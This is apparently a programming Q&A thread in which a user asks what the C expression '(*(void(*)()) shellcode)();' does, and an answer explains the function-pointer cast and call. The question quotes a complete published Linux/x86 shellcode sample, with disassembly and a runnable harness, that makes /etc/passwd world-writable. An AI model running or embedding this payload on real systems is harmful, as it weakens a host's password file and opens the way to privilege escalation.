what (*(void(*)()) shellcode)(); means?

Question

Sorry if this sounds trivial, but can anybody explain to me what this is?

(*(void(*)()) shellcode)();

I think the second * is setting void to be a pointer, but and the first *? a casting? and the () is for call some function?

The source code is here:

/*
# Title: Linux/x86 chmod('/etc/passwd',0777) - shellcode 42 bytes
# Platform: linux/x86_64
# Author: Mohammad Reza Espargham
#    Linkedin    :   https://ir.linkedin.com/in/rezasp
#    E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
#    Website     :   www.reza.es
#    Twitter     :   https://twitter.com/rezesp
#    FaceBook    :   https://www.facebook.com/mohammadreza.espargham


 Disassembly of section .text:


 00000000 <.text>:
 0:    6a 0f                    push   $0xf
 2:    58                       pop    %eax
 3:    68 90 90 ff 01           push   $0x1ff9090
 8:    59                       pop    %ecx
 9:    c1 e9 10                 shr    $0x10,%ecx
 c:    68 90 73 77 64           push   $0x64777390
 11:    5b                       pop    %ebx
 12:    c1 eb 08                 shr    $0x8,%ebx
 15:    53                       push   %ebx
 16:    68 2f 70 61 73           push   $0x7361702f
 1b:    68 2f 65 74 63           push   $0x6374652f
 20:    89 e3                    mov    %esp,%ebx
 22:    cd 80                    int    $0x80
 24:    b0 01                    mov    $0x1,%al
 26:    b3 01                    mov    $0x1,%bl
 28:    cd 80                    int    $0x80
 */

#include <stdio.h>
#include <string.h>

int main(){
    unsigned char shellcode[] = "\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
    fprintf(stdout, "Length: %d\n\n", strlen(shellcode));
    (*(void(*)()) shellcode)();
}

Answer 1

It's casting shellcode to a function pointer returning nothing and taking an unspecified number of parameters. And then calling it.

The void (*)() is the type of a function that returns nothing and takes an unspecified number of parameters.

/* | --------------------| Cast to a function pointer
   |                     |                         */
(* ((void(*)()) shellcode)) () /*
 ^                           ^ call the function through the pointer
 |-- dereference the pointer */